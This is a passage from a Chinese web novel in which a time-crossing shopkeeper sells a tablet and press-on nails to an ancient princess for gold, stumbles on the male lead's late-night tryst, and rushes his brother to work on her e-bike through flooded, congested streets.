“里面为什么会有人跳舞？” “跳得真好，本宫可以打赏她们吗？” “萧老板，本宫说话她们能听见吗？” 萧妧妧习惯了古人见到高科技产品的震惊样，懒洋洋地解释。 柳如烟闻言，高声道：“本宫要买它！” 萧妧妧偏头，看她指着平板满怀期待，冷硬拒绝：“不卖，你买回去用不了，浪费钱。” 柳如烟失望一瞬，眼珠子一转，“那也要买，反正本宫不差钱，回去用不了，那就留在这里用。” 萧妧妧挑眉，暗道这生意倒是不错。 “你手里拿的是几年前的旧版，喏，你自己挑。” 萧妧妧调出购物APP进入品牌旗舰店，再把平板推出去，然而柳如烟一个字不认识，连图片都看得稀里糊涂，只知道花花绿绿，怪好看的。 “本宫不懂，你做主吧，要最好的那个。”发现自己看不懂，她索性不纠结了，直接交给萧妧妧决定，“这些……够吗？” 柳如烟摘下身上软趴趴的荷包推来。 她买东西一向不看价，有宫女负责给钱，可平板不一样，和她在宫里宫外看到的宝贝毫无可比性，柳如烟忽然担心起钱来。 萧妧妧填好下单信息才拿起荷包扒开，两粒碎金，电子秤显示有1100克。 “够！”买十个都绰绰有余。 赚了人家钱便不能随便糊弄，萧妧妧不管她需不需要，又给配了鼠标键盘，买了保护套和高清膜，甚至咨询过，字体可以切换成繁体，不怕柳如烟看不懂。 柳如烟满意点头，昂起脑袋，“快快快，让本宫看美人跳舞。” 萧妧妧无语，重新跳回视频APP。 “不好不好，她们穿得太少了，不成体统。” “好吵的曲子，不喜欢。” “怎么还有男子跳这种舞……他还脱衣服！伤风败俗，伤风败俗！” 听到那句刻在DNA里的“只是女人总是一往情深”，萧妧妧暗道一句要完，赶紧挡住屏幕。 然而为时已晚，柳如烟全看到了。 分类错误的小视频在一众专业舞蹈教学视频中格格不入，萧妧妧面露尴尬。 她大声辩驳：“什么伤风败俗，说得真难听，人家擦边一下怎么了？年纪轻轻有腹肌就要多擦，咱们大女人就应该多看。” “擦边是什么意思？” “就是……搞黄色？” “那搞黄色又是什么意思？” “……你话真多，还要不要看？” “看看看，你怎么还恼羞成怒了……”嘀咕一句，柳如烟抢过平板，播放下一条视频。 她说我恼羞成怒，这小破孩……萧妧妧深吸气。 “不喜欢，都不喜欢，跳得还不如教坊司的舞姬。” 挑挑拣拣，柳如烟没一个看得上眼。 萧妧妧一愣，瞬间反应过来自己陷入了误区。 古典舞，还得是古代人会玩，至于现代舞、街舞、女团舞，甚至摇花手，柳如烟根本看不上，还诸多意见。 “萧老板，您也太会吹嘘了吧……”柳如烟摇摇头，一副‘你让我很失望’的表情。 挑衅，赤裸裸的挑衅！ 萧妧妧不服气的哼了一声，拿起手机捣鼓。 柳如烟撅撅嘴巴，也哼了一声，自顾自在小卖部闲逛。 最先吸引她注意的是柜台附近的货架，柳如烟诧异不已，铺子小小一间没她书房大，架子上却摆放了许多奇珍异宝。 玉髓玛瑙不说了，她是母后唯一的女儿，也是皇帝哥哥唯一的同胞妹妹，自小受尽宠爱，这些好东西她妆匣里有不少，琉璃倒是让她好一阵惊喜。 最最惊喜的是旁边一盒盒倒挂的手持镜，背面不晓得用了什么技艺，色彩鲜艳又粉嫩，翻到正面更让她惊艳，小小一块却清晰的映照出她的脸，说一句纤毫毕现不为过。 柳如烟欢喜极了，捧着手持镜反复照，反复观察自己的眼鼻嘴。 口脂有些淡了；眉梢不够细；脸上的粉让泪水冲出痕迹，挺失礼的；珍珠发簪果然适合自己，簪在乌黑发丝间真好看。 萧妧妧终于选出满意的视频，转头看到柳如烟抱着镜子臭美，见怪不怪。 申明月刚见到镜子时和她差不多模样，不过没柳如烟这么沉醉，叫了她好几声跟没听见似的。 萧妧妧走上前，拍了拍她肩膀，柳如烟吓得一抖，赶紧收敛笑容，摆出一惯的高傲神态。 “看看，够不够惊艳。” 柳如烟没舍得从手持镜上挪开目光，低头匆匆瞥一眼，随口挑剔，“你觉得她很惊艳？不过如此嘛……” 萧妧妧看她心不在焉，只顾着臭美，抽走她手里的镜子，拖动进度条，重新播放。 “看清楚了，冰上跳舞，符不符合你要的新意。” 柳如烟眉头一挑，不得不认真多看几眼，很快，她精致的鹅蛋脸上闪过惊异神情，目光渐渐专注。 萧妧妧看她沉默不语，凝着视频移不开目光，忍不住偷笑。 安小鸟一只冰嬉舞能俘获四大爷，再俘获一个柳如烟不是难事。 40 第40章 ◎柳如烟？不，是财神爷◎ “它叫冰嬉舞？有意思,本宫要学它！”柳如烟握拳振声。 饶是见多识广的柳如烟也得承认，冰嬉舞确实很有特点，很符合她要的惊艳感。 不说那群小蹄子，土包子陈松还不被她迷得晕头转向。 萧妧妧盯了她一会,看她捏着帕子,一会娇羞捂脸,一会得意骄傲,心里想了什么几乎写在脸上。 萧妧妧摇摇头，上网搜教学视频。 她记得有舞蹈区博主整活发了教学版,刚好能用上。 “学成什么样全看你自己，一共五十两银锭,谢谢惠顾。”萧妧妧怜悯地望着她，都不太好意思开高价了。 不过这笔生意做得划算,无本买卖，纯赚。 柳如烟惊讶,“五十两？银锭？” 萧妧妧：“嫌贵？” 柳如烟赶紧摇头,“不贵,一点不贵,可太便宜了。” 柳如烟四处扒拉,身上一点钱找不出来，留下一句等等，转身穿过结界。 再回来，柳如烟捧着两个鼓囊囊的荷包,大方道：“多的算赏你的。” 一锭金元宝搁在柜台上，萧妧妧无声的笑了。 柳如烟脾气不好,但胜在大方,这一锭足有二十两,也就是600克，萧妧妧就喜欢不差钱还特大方的客人。 “看在你大方的份上，再送你一套穿戴甲。” 萧妧妧把自己买来一直没机会用的猫眼穿戴甲送给她。 女孩子嘛，谁不喜欢漂漂亮亮的，送亮晶晶的穿戴甲肯定不会错。 果然，东西一亮相，柳如烟立刻被穿戴甲吸引了目光。 萧妧妧正要演示给她看，柳如烟特别自觉地伸出手，等她伺候。 萧妧妧：…… 公主，这是真公主啊。 萧妧妧：“美甲费用另算。” 柳如烟撇撇嘴，推来一锭五十两的金元宝。 二十两后又来五十两，眨眼工夫赚了2100克金子，兑成现金值不少钱呢。 “您请坐。” 萧妧妧面带笑容，请她坐下，端来饮料糕点投喂。 不只是公主，还是财神爷，她必须满足顾客需求。 柳如烟享受过殷勤到近乎谄媚的伺候，对萧妧妧勉强称得上周到的服务不以为然，坦然接受。 趁萧妧妧帮她清理指甲的工夫，柳如烟问：“本宫看中那柄手持镜了，卖价几何？” 萧妧妧这会是真不好意思再开高价，怕薅得太厉害，财神爷不来了。 “你看着给吧，”萧妧妧头也不抬的说，“先别和我说话，我要认真做指甲。” 柳如烟咂咂嘴，老板娘做生意可真随性，那么好的镜子竟让她看着给。她悄悄拿来镜子放在手心摩挲，眼珠子滴溜溜转。 “是你说看着给的，可别后悔啊。” 窃笑两声，柳如烟像是要看萧妧妧气跳脚似的，又一次丢出去五十两金锭，还偏要往萧妧妧眼前递。 柳如烟不禁翘了翘嘴角，镜子和穿戴甲一个价，萧老板怕是肠子都悔青了。 萧妧妧：“……” 萧妧妧缓缓抬头，像看傻子一样的表情看柳如烟，沉默。 她一副占了大便宜的样子，得意洋洋，看起来还有点贱兮兮的可爱。 如果告诉她手持镜进价才要80块，换算过去甚至不到一两银子，柳如烟应该会被她气哭吧。 萧妧妧忽然起了逗弄她的心思，可想到是财神爷，歇了心思。 柳如烟等了又等，差点贴着她的脸，始终等不到萧妧妧露出又悔又恨的模样，颇觉无趣，哼了一声挪开目光。 萧妧妧不和她说话，她也不会让自己无聊，继续照镜子，照了半天过足瘾，要换手的时候再抱来平板学舞，嘴里零食不带停的。 “好了，结束，”萧妧妧满意点头，不枉费她费心费力，效果好极了。 柳如烟嗷呜一口吞掉最后一个冰激凌泡芙，两手并拢翘起，在灯光下摆出各种姿势。 “好看，真好看，比染出来的精致许多，它叫什么眼来着？” 柳如烟喜欢极了，捏出不同手势摆在脸颊边，再照着镜子欣赏。 萧妧妧收拾工具，清理桌面，“猫眼。” “猫眼……这名字真适合它，”柳如烟又问：“你拆掉的那款叫什么？本宫觉着也不错。” 萧妧妧想了想，“夏日多巴胺。” 然后转身，从柜台里拿出另外十几副穿戴甲摊开展示，“这里有不少，看在你买得多的份上，这些给你算便宜些，十两金一副。” 柳如烟顾不上欣赏自己的纤纤细手，注意力全部转移到柜台上，这里摸摸，那里看看，好像都很喜欢的样子。 “好漂亮啊，本宫要是戴着它们参加宫宴，准惊掉荣昌和顺西的下巴，看她们怎么比。” 柳如烟不禁幻想自己艳惊四座的场面，眼含向往。 萧妧妧敲敲柜台，提醒她回神。 “你这店铺虽古怪，好东西着实不少，这些穿戴甲本宫全要了！”柳如烟大手一挥，直接包圆了萧妧妧的存货。 萧妧妧意外了一会，继而乐了，“好，一共十五副，一百五十两金子。” 柳如烟翘着手指小心翼翼捏荷包，捡出三枚金锭，萧妧妧吞了吞口水，颤抖着手接过。 不怪她土包子没见过世面，而是想到短短半个下午，算上赔偿金锭，她已经从柳如烟手里赚了将近16000克金子，控制不住的激动。 如果算上小金库剩余金锭，她现在一共有24402克金子。 换句话说，她现在是千万富翁了！ 沉浸在暴富的快乐中，柳如烟什么时候离开的她完全没注意到。 好心情一直持续到晚上，回家的时候雨还在哗啦啦下，刚进门准备换衣服，意外的，黎行墨找了过来。 萧妧妧让开身，请他进院子，随口一提：“昭昭应该在家，我帮你叫她？” 黎行墨摸了摸鼻子，却没跟上她脚步，萧妧妧意识到他可能不是来找云昭昭的。 萧妧妧不禁挠头，她这几天挺忙的，都没时间在男主面前露脸，应该没机会得罪他吧？ 就在萧妧妧一头雾水的时候，黎行墨清清嗓子，说出来意。 “萧小姐，周末我和昭昭约好去南奇山爬山，我是来邀请你和我们一起的。” 萧妧妧嘶了一声，挠着脸颊问：“那我是答应……还是应该不答应？” 三个人，她是那个电灯泡，去了多尴尬啊，可是拒绝的话，她这个女配是不是不给男主面子？ 黎行墨不知道她在犹豫什么，语气急促，听起来有点催促的味道，“我和昭昭都希望你能来，她在我家等消息呢。” 萧妧妧神情更古怪了，怎么看起来黎行墨挺期待她去当电灯泡的。 除了黎行墨要玩什么新花样，萧妧妧想不到别的，正好周末本就答应昭昭要带她在南市走一走看一看，没理由拒绝。 萧妧妧：“好啊，时间你们定，商量好了让昭昭告诉我一声。” 黎行墨肩膀一松，笑容真切了几分，“谢谢萧小姐。” 话未完全落音，黎行墨嗖一下消失。 萧妧妧拧眉，挠头，猜不到他们要玩什么花样，转身回家。 入夜后，暴雨如注，萧妧妧听着雨声，舒舒服服躺在摇椅里追剧，昏昏欲睡的时候，手机铃铃铃响。 萧妧妧一激灵，爬起来摸索到手机一看，备注是活财神，茫然一会立即反应过来。 “喂？娇娇姐？” ………… 小卖部后门，停止营业的红灯亮起，苏娇娇在院子里叫了好几声，没得到回应，只能拨通电话。 萧妧妧很快接起，苏娇娇心中安定，“妧妧，十万火急，我等到了接头人，约定是明日凌晨交接转移，消息来得突然，我没时间准备……” 接头时间点在夜深人静的时刻，留给苏娇娇准备的时间不多，不得不在停止营业期间找来。 “嗐，多大点事，娇娇姐等我几分钟，很快到。” 萧妧妧说着话已经起身，找来外套随便披上身。 已是十一点，院子里只有景观灯亮着，楼上楼下的房间一片黑漆漆，好在雨停了。 萧妧妧蹑手蹑脚推史努比出门。 没有游客和各种特色小摊，月牙巷格外的宽敞，史努比以最快速度赶到小卖部，时间只过去三分钟。 萧妧妧急匆匆进店，就看到苏娇娇急得来回踱步。 看得出她也是临时接到消息的，身上穿着睡袍，一向盘在后脑勺的乌发卷曲凌乱的垂在身后。 “实在不好意思，这么晚还来打扰你，距离接头没几个小时，我怕晚一些让人看出破绽。” 苏娇娇看她同样是一身睡衣，素净脸蛋满是歉意。 萧妧妧摆了摆手，推来小拖车，等她走到后门，看见外面是苏娇娇暂住的酒店套房，忙提醒她，“娇娇姐，难道你要把东西从酒店运到指定地点吗？” 苏娇娇回头看了看，一拍脑门，懊恼不已，“对不起对不起，我太着急了，一时忘记。你放心，接头地点就在附近，我很快能到，妧妧你再等等我。” 连连道歉后，苏娇娇不再耽误，回去换衣服，准备出门。 萧妧妧想着要帮她省时间，又找来两个拖车。 几乎是刚把大箱子挪出来，苏娇娇回来了，扶着门气喘吁吁。 “我到目的地了，现在还没人。” 萧妧妧看一眼外面，一间小院，院墙堆满了各种农具。 “我帮你。” 两人接力把箱子依次推出结界，检查一遍看数量对得上，箱子编码没问题，苏娇娇整个人轻松了，直接瘫软在箱子上。 想到萧妧妧还不清楚这里状况，她强撑着站起，告诉萧妧妧一声，继续守在院子里等人接头。 萧妧妧看她那里正值深夜，又是夏日，递给她一瓶驱蚊水。 再三确定不需要她留下帮忙，萧妧妧便锁门，回家。 拐进245号春山居所在的巷子，萧妧妧怕吵到人，史努比留在大门外，雨衣盖在上面，防止夜里下雨。 收拾得差不多，萧妧妧往回走，才迈出去两步，她忽然顿住脚步。 四五米外，大榕树下，一辆黑色商务轿车规律地颤动着，漆黑车身映照245号的红灯笼，窗上滑落红色雨珠，滴滴滚落在地上，汇集成积水，流动着红色光斑。 夏日雨夜，黢黑小巷，诡异轿车，大红灯笼……萧妧妧浅浅脑补了几秒，脑子里无数灵异鬼怪画面诞生，汗毛唰一下竖立。 40-50 41 第41章 ◎我们很熟吗？◎ “富强、民主、和谐……” 小巷路灯坏了半个多月,没人修，道路昏暗，看错很正常，萧妧妧一边宽慰自己,念念有词,一边掏出手机打开手电筒壮胆。 好巧不巧,刚摸到手机,耳边传来“吱呀”一声，紧跟着是呼哧呼哧的喘息,呜咽声忽高忽低。 本来只有一点点怕，现在直接翻倍,萧妧妧头皮都麻了，怀疑自己赚太多钱遭报应。 她配合苏娇娇在中元节吓唬别人,这回轮到自己了，还恰好是鬼月,怎么不算因果循环。 萧妧妧僵了足足有十几秒,而后飞快倒腾双腿。 然而迈出去几步,胳膊忽然被什么握住,猝不及防将她向后拉,连带着迈出去的步子退回原地。 “别过去。”低低沉沉的嗓音在头顶上方响起。 萧妧妧吓得心脏咚咚两下，感受到隔着衣料的温度，她的心跳才渐渐稳住。 她顺着力道低头望去，看到了修长的指节,目光顺着手指向上移，萧妧妧看到了手指的主人,黎行聿。 “吓死我了,”萧妧妧拍着胸口,长舒一口气，忍不住抱怨：“我差点以为见鬼了。” 黎行聿默了默，低声道一句抱歉，松开手。 旁边有人，还是半生不熟的邻居，萧妧妧显然找到了勇气，这时才意识到，刚刚那些奇奇怪怪的动静多半是黎行聿发出的。 想到这里，萧妧妧更没什么好怕的，是人就好，比鬼强。 “对了，你让我别去哪？”平静下来，萧妧妧想起黎行聿说的话。 黎行聿稍显迟疑。 萧妧妧更好奇了，只是没等她开口，腿边传来毛茸茸热乎乎的触感，低头一瞥，是一条戴着嘴套的……狼？ 黎行聿：“是狗，捷克狼犬。” 萧妧妧嚯了一声，后退两步躲开。 大型犬很有压迫力，尤其它长得像狼，哪怕戴了嘴套仍旧不敢随便靠近，难怪黎行聿要深夜遛狗。 可不管她怎么后退，大狗得寸进尺，黏黏糊糊要贴上来，黎行聿拽紧牵引绳，急声低斥：“大王。” 弓背贴腿的捷克狼犬接收到主人的命令，低声嗷呜，一步一回头的盯着萧妧妧，委委屈屈回到主人身边蹲坐。 萧妧妧违心夸赞：“好狗。” 名叫大王的捷克狼犬似乎听懂了她的夸赞，唰一下站起，摇着尾巴要凑过来，萧妧妧真服了它，长这么凶怎么那么不经夸。 “黎先生是要去遛狗吧？您继续，我得回家了。”萧妧妧急匆匆说完，躲着狗子要离开。 “等等……”黎行聿轻声阻止，几乎是扯着萧妧妧将她带到自己面前，提醒：“先别过去。” 萧妧妧：？？ 萧妧妧懵懵地瞪着眼睛看他，但黎行聿面无表情，一本正经，不知道搞什么鬼。 “……哥？” 正当萧妧妧摸不着头脑的时候，黎行墨沙哑的嗓音响起。 但是……他从哪冒出来的？ 萧妧妧歪了歪身子，疑惑张望，黎行聿却跟着挪了半步，死死挡在她面前。 “别看。” 黎行聿语气不好，但能听出坏情绪不是针对她。 萧妧妧挠头，彻底搞不清状况了，好在下一秒发生的事让她秒懂。 她听到了关门声，关车门的声音！ 甚至关车门前，黎行墨还和车里人说了什么，叽里咕噜听不清。 “穿上衣服，跟我回家。” 黎行聿保持着和萧妧妧面对面的站位，只偏了偏头，语含警告的和背后人说话。 想起颤动的轿车，以及挡在她面前不让路的黎行聿，萧妧妧忍不住瞪大眼睛。 眼前什么情况，一目了然。 秒懂女孩萧妧妧忽然间视线飘忽，脚趾不自觉扣地。 她敢保证，这是一件能上热搜的社死事件，在场的每一个人都各有各的尴尬。 黎行墨清清嗓子，窸窸窣窣了好一阵才走到黎行聿身侧。 “哥，我去遛大王，您休息。” 他殷勤地抽走牵引绳，笑嘻嘻面对黎行聿的冷脸，直到在大哥身边站定，黎行墨注意到完全被大哥身影遮挡住的萧妧妧。 黎行墨没想到现场会有另一人，不由愣了愣。 他摸了摸鼻子，支支吾吾的对萧妧妧说：“那个、萧小姐这么晚还在外面啊，早点回去吧，马上要下雨了。” 萧妧妧望天望地，还是不小心瞥到黎行墨半敞着的衬衫和皱巴巴的裤子。 “好像是要下雨了，我先回家，两位黎先生再见。” 干巴巴的应了两句，萧妧妧脚步匆匆逃离社死现场。 亏她以为闹鬼，吓得要钻被窝，原来是小情侣擦枪走火。 关上大门的时候，萧妧妧实在没忍住，留了一条缝。 巷子中央，大榕树下，黎行聿双手环胸，冷冷地瞥一眼黑色商务车，又冷冷地盯着黎行墨。 黎行墨吊儿郎当没个正经样，但他演得很好，垂头耷脑一副悔过样。 黎行聿显然不会被他的表象欺骗，低声训斥。 “这就是你保证的不胡闹？” “你不在乎，难道她也不在乎？” “今晚的事传出去有什么后果你考虑过没有？” 一句比一句戳他心窝子，黎行墨蓦的怔住。 “对不起，哥，是我冲动了。” 黎行聿当头一棒敲下来，黎行墨瞬间警醒，他想到哭求的云昭昭，这会也不觉得那是在玩情调。 意识到自己行为不妥，黎行墨瞬间蔫了。 他没关系，最多传出去丢脸罢了，借住在萧家的云昭昭跟他不一样，她在乎萧家人、在乎旁人的目光。 一脸冷酷黎行聿看弟弟态度端正，面色柔和些许，“给你十分钟时间。” 丢下这一句，黎行聿转身回家，黎行墨撸一把额前碎发，脚步沉重地回到车上。 萧妧妧看门前空荡荡，悄悄关上大门，回到房间。 黎行墨行事无所顾忌，是该教训教训了。 排除男主女主和女配的身份关系，萧妧妧更认为她和云昭昭是朋友，立场从读者转换到女主朋友的视角，面对同一件事，她的看法也是不一样的。 当读者的时候，她会大呼刺激，并希望多来点。 当朋友的时候，她不禁思考云昭昭的态度。 她是出于自愿和黎行墨走到一起，还是扛不过黎行墨的霸道作风，半推半就？ 萧妧妧撑着下巴思考，大门传来动静，是云昭昭鬼鬼祟祟回来了。 “昭昭，要和我聊聊吗？”萧妧妧不知道自己抽哪门子疯，忽然闯出去。 云昭昭意外于萧妧妧这么晚没睡，呆了一会摇摇头又点点头。 她忐忑极了，不停猜测萧妧妧到底有没有发现她和黎行墨在车上的事。 萧妧妧拉开门，请她进来，云昭昭抿抿唇，蹑手蹑脚进屋。 “在黎家工作怎么样？会不会太累了？”萧妧妧放下一杯水，旁敲侧击。 闻言，云昭昭悄悄松了一口气，老实巴交的回答：“不累，除了管着小月亮少吃糖时会闹腾点，孩子挺好教的。黎先生平时很忙，不常在家看到他，他也不怎么管我。学长倒是经常在家，但没有为难过我，对我挺、挺好的。” 说到黎行墨，云昭昭耳根子发热，眼底有羞怯与拼命掩藏的欢喜。 和她谈恋爱的舍友一个模样。 萧妧妧嗯了一声，闲聊一样说道：“黎行墨看起来脾气没比他哥哥好多少，他要是欺负你，你回来跟我说，我叫上我爸妈一起给你撑腰。” 云昭昭身子前倾，近乎辩驳的语气开口：“妧妧姐你误会他了，行墨学长人挺好的，对我很照顾，别看他平时脾气不小，其实很温柔，哄小月亮的时候特别耐心。” 萧妧妧说了一句黎行墨不好，云昭昭噼里啪啦一大串讲述他的优点，是不是喜欢，基本已经验证。 “那就好，看你这么晚下班，以为他们故意刁难你呢，是我误会了，快回去休息。”萧妧妧得到了想要的结果，话锋一转，直接结束话题。 云昭昭听她说回来太晚，思绪情不自禁发散，想起自己恨不得遗忘的片段，耳根子连着脖颈一起通红一片。 明知道妧妧姐不会看到她在想什么，云昭昭此刻还是羞得想钻地缝。 她低垂着脑袋，逃似地跑回房间。 萧妧妧想，果然是她忙着赚钱，没注意剧情走向，男女主都发展到这里了。 两人认识总共不到一个月吧？不愧是限制文，速度就是不一般。 感叹一会，萧妧妧重新洗漱上床睡觉。 这一晚上折腾半天，直接导致第二天萧妧妧起迟了。 洗漱完毕，萧妧妧急匆匆出门，史努比艰难穿行在游客中，八点十五左右将将赶到小卖部门口，而此时，街上大部分店铺已经开始了今天的营业。 看门前柏油马路堵得水泄不通，甭管好车坏车大车小车，通通趴在那里一动不动，萧妧妧不禁庆幸，幸好自己不需要上班。 “萧妧妧！萧小姐！” 萧妧妧锁上车，急急忙忙准备进店，一片喇叭声中，她隐约听到有人喊她名字。 “萧小姐，我们在你后面。” 萧妧妧半转过身，视线在车流中睃巡，很快找到夹在两辆厢式货车中间的越野车。 越野车外观霸气硬朗，可没用，遇上堵车再霸气都比不上她的史努比。 视线稍稍偏移，她看到了后车窗打开，黎行墨探出半截身子，冲着她挥舞手臂，笑容灿烂。 在萧妧妧看过去的瞬间，黎行墨推开车门，从车辆缝隙中挤上人行道。 不是吧大哥，你昨天才社死，今天竟然敢主动找来，你不怕尴尬我怕啊……萧妧妧抿抿唇，忍不住腹诽。 眼睁睁看着青春男大像看到救星似的向自己奔来，并越来越近，萧妧妧不禁思考，我们很熟吗？ 【作者有话说】 这两章浅浅推进一下感情线，快要写成无CP了…… ps：35、36章修改了一下，大剧情没变，算是换一个方法去写，要不要重看都不会太影响 pps:最近阅读很好用没错，但是它不等于收藏！还没点收藏快点动动手！[化了] 42 第42章 ◎社死嘛，她熟◎ “你说什么？借我的史努比？” 要不是黎行墨用他那张帅脸摆出难以言喻的表情,挑剔又嫌弃地盯着电动车，萧妧妧绝对会怀疑自己没睡醒听错了。 霸气威武的越野车VS可爱但寒酸的史努比，很难不沉默。 黎行墨指向身后，语气无奈,“堵车,现在进退两难,我哥赶时间,九点半有一个重要会议。” 老城区堵车很常见，堵到交通瘫痪的程度,多半是最近两天暴雨淹了隧道。 家门口的交通状况她太清楚了，现在这路况别说赶去开会,下班打卡都赶不上。 萧妧妧暗道一句难怪，歪了歪身子,视线投向道路中央那辆动弹不得的越野车。 大开的车窗中，黎行聿挂断电话后迅速接起另一通电话,说话间时不时抬起手腕看表。 司机回头说了句什么,他眉头紧拧,思考片刻匆匆结束通话,打开电脑。 萧妧妧收回视线,递去车钥匙和镭射紫的头盔，勉为其难的念叨，“行吧，这可是我最心爱的小电动,买来不到半个月，你可别让它剐蹭了。” 新买的车子,她舍不得借,可黎行聿花了十五万买下她的玉扳指,借一下也没什么。 接过钥匙的黎行墨松了一口气，欣喜道谢，快步走到电动车旁后，他突然停下脚步。 萧妧妧：“怎么了？” 黎行墨垮着一张脸转过身，声音有些气恼，“我不会骑电动车。” 萧妧妧目光飘向越野车，黎行墨像是猜到她想法似的，道：“……他也不会。” 哇哦，那就没办法了。 萧妧妧耸耸肩，表示爱莫能助，抬眸对上黎行墨若有所思的目光，耸肩动作稍顿。 萧妧妧后退两步，警惕开口：“小卖部该营业了，史努比你们随便用，什么时候还都行。” 她转身要跑，但显然，速度慢了，黎行墨大迈步拦住她。 “小卖部一天营业额多少？我十倍还你，萧小姐方便送我哥去公司吗？江岸CBD的黎明大厦，车程二十多分钟左右。” 营业额、十倍……捕捉到关键词，萧妧妧毫不犹豫转身，笑容和善。 “我送你们一程！” 犹豫一秒都是她对钱的不尊重。 黎行墨很满意，“加个月亮号，我给你转账。” “好嘞。” 萧妧妧喜滋滋掏出手机。 叮叮两声，一个转账，一个收款。 萧妧妧动作利落地戴上头盔，跨上座垫，瞥到黎行墨回越野车旁去叫人，趁着间隙查导航。 确认定位，固定好手机，萧妧妧还没等到人，看一眼时间，已经八点三十，再磨蹭下去就是飞也赶不上。 萧妧妧按捺不住回头催促的时候，黎行聿已经抱着电脑站在史努比旁边。 他垂眸打量着史努比，眉峰微蹙，神情明显在犹豫。 黎行墨在一旁稍显雀跃的叽叽喳喳，“时间来不及了，哥你快上车，萧小姐答应送你一程。” 黎行聿沉默不语，抬起手腕看表，而后，目光移向面前的镭射紫史努比上，再缓缓移向放置在座垫上的同色头盔，眉头蹙得更紧了。 萧妧妧看出他的顾虑，轻声为史努比辩解：“别看不起史努比，它跑得很快的。” 黎行聿没纠正她，像是下了某种决心，颔首道：“麻烦你了，萧小姐。” “不麻烦。”萧妧妧好心情的回应。 黎行墨懒得听她算账，直接转账五万，赶上半年的营业额了，而她付出的只是骑史努比载人，太划算了。 萧妧妧以为马上就能走，后座迟迟没有动静，她偏头，恰好对上黎行聿茫然的目光。 “跨上来，像骑马那样，黎先生骑过马吧？” 萧妧妧瞬间洞悉他的窘迫，电动车都没骑过的人，可以理解。 “我明白了，”黎行聿：“抱歉。” 他拿走造型别致的头盔丢给黎行墨，一手轻轻撑在萧妧妧肩头，笔直修长的腿稍稍向上一抬，整个人轻松落在后座上。 一百大几十斤的大高个骑上来，可怜的史努比摇晃两下才顽强站稳。 “速度会比较快，黎先生可以抓后面的扶手，脚踩在两侧的脚踏上，”说到扶手，萧妧妧注意到他手里的笔记本，扭身伸手，“不介意的话，笔记本可以放在前面。” 看到萧妧妧伸手，黎行聿顺从地递出电脑，递出去后微微愣神。 “黎先生抓好，我要启动了。” 看到黎行聿用一种略显僵硬的姿势坐稳，萧妧妧想提醒一句，坐电动车不需要优雅，可以随意一点，想了想没说出口。 再三确认他抓稳了，萧妧妧放心地旋动把手，史努比嗖一下冲出去。* 速度出乎预料的快，这让开车追求平稳，车速永远保持在四十码及以下的黎行聿很不适应，浑身不自觉绷紧。 “哥，萧小姐，你们注意安全啊。” 落单的黎行墨像得到自由的孩子，兴奋摇手。 后视镜里，黎行墨的身影越来越小，直到化成小黑点。 史努比开到隧道附近，非机动车道格外拥堵，萧妧妧另辟蹊径，灵活地操纵史努比左突右闪。 “这段路不好走，黎先生一定要抓稳了。” 蹊径难免颠簸，趁着排队等通过，萧妧妧特意回头知会他一声。 黎行聿闻言嗯一声回应，紧抓扶手不敢放松，两臂因用力微微鼓起，肌肉撑紧衬衫衣料。 靠近隧道正上方，萧妧妧看到了拥堵的源头，果然不出她所料，隧道严重积水。 已经有七八辆轿车困在水中抛锚，偏偏几条车道堵得严严实实，抢救难度翻倍，不知道什么时候能恢复畅通。 萧妧妧担心他着急，信誓旦旦向他保证，“住在老城区会经常出现这种情况，尤其夏天多雨，这时候电动车会比机动车更方便，黎先生你放心，肯定不会让你迟到。” 反正钱已到手，就算迟到她也不会全额退款，最多一半，不能再多了。 黎行聿低声说了句谢谢。 知道他赶时间，萧妧妧一路上争分夺秒，电动车开出赛车的架势，几次急停差点让通话中的黎行聿拿不稳手机。 “黎先生，腿收一下，容易蹭到受伤。” 萧妧妧几次想从车流中穿插过去，都因黎行聿的大长腿导致她无法顺利通过，被迫选择避让。 反复几次，不仅耽误时间，还影响她驾驶，她只能委婉提出请求。 黎行聿隐约听到她是在跟自己说话，可风声在耳畔呼呼作响，吹偏了话语，听不真切。 他稍稍俯下身，脑袋凑到萧妧妧肩旁，请她再说一次，“不好意思，可以再说一遍吗？” 萧妧妧放慢语速，重新复述了一遍，黎行聿配合地并拢腿，方便她操作。 萧妧妧迟钝发觉，还不如不并拢呢，有种被包围的尴尬，胳膊稍微活动一下就能戳到他大腿似的。 但她很快顾不上尴尬，想插队走在她前面的车子太多了，萧妧妧必须专心。 越靠近CBD方向，非机动车道越不好走，萧妧妧接连几次急刹车。 每一次急刹，都让黎行聿努力维持的安全距离一点点地缩短，直至归零，双腿再稍一收拢，显得过于亲密。 黎行聿艰难地保持着上半身向后仰的姿势，免得贴她太近。 “吱——” 路过十字路口抢红灯，一辆电瓶车从侧面冲出来，萧妧妧再次急刹避让，刚接通电话的黎行聿防备不及，咚得一下撞上萧妧妧后背。 “抱歉。” 黎行聿给电话那头丢下一句“晚点再说”，匆匆挂断电话向她道歉。 萧妧妧也没想到冲击力这么强，像一块大石头甩过来，她扶正头盔，看到后视镜里的黎行聿肉眼可见的不自在，软和了语调向他解释。 “是我刹车太急，路上车多的时候很正常，习惯就行。对了，黎先生你还好吧？” 黎行聿观察了一阵，插队、急刹、倒退、逆行、闯红灯、左右穿插……各种乱象层出不穷，全然不顾交通规则，也不顾及自己和他人的安全。 萧妧妧的驾驶风格在其中算是比较稳的那一波。 黎行聿费解的问：“电动车都是这么……” 他找不到恰当的词来形容，或许有但不合适在此刻说出口，话音停顿。 萧妧妧心领神会，自动接上，“你是想说野蛮？不讲规则？或者霸道？无序？” 她一口气说出了一连串的贬义词，黎行聿想解释，“不、我不是那个意思，我是说……” 他想用更为温和委婉的词语代替，最后还是哑了声。 萧妧妧一边注意哪里有空隙可以见缝插针，一边开口吐槽，“黎先生不用不好意思，事实情况是这样，大家都这么说。 电动车多，车道却狭窄，加上大家赶时间，所以会有些混乱，黎先生第一次坐电动车，不习惯很正常。” 萧妧妧挺怕赶在早晚高峰期出门的，不讲道理的人太多了。但除了下雨天外，她挺喜欢电动车出行的，尤其在老城区，特别便捷。 黎行聿轻轻嗯了一声，不再开口，恰好红灯过去，萧妧妧专心驾驶。 还有两个路口就能进入CBD区域，三个路口就能到黎明大厦，萧妧妧不禁感叹这五万赚得真容易。 然而不到两分钟，一辆逆行的电动车与她擦肩而过，大声提醒：“前面有交警！” 这一声吼，并行的几辆电动车纷纷调转车头。 黎行聿看大家敏捷地逃窜，不解问：“交警查什么？” “查头……”话没说完，自信满满的萧妧妧直接自闭了，她多看一眼后视镜确认什么，忍不住提高嗓门，“你头盔呢？” 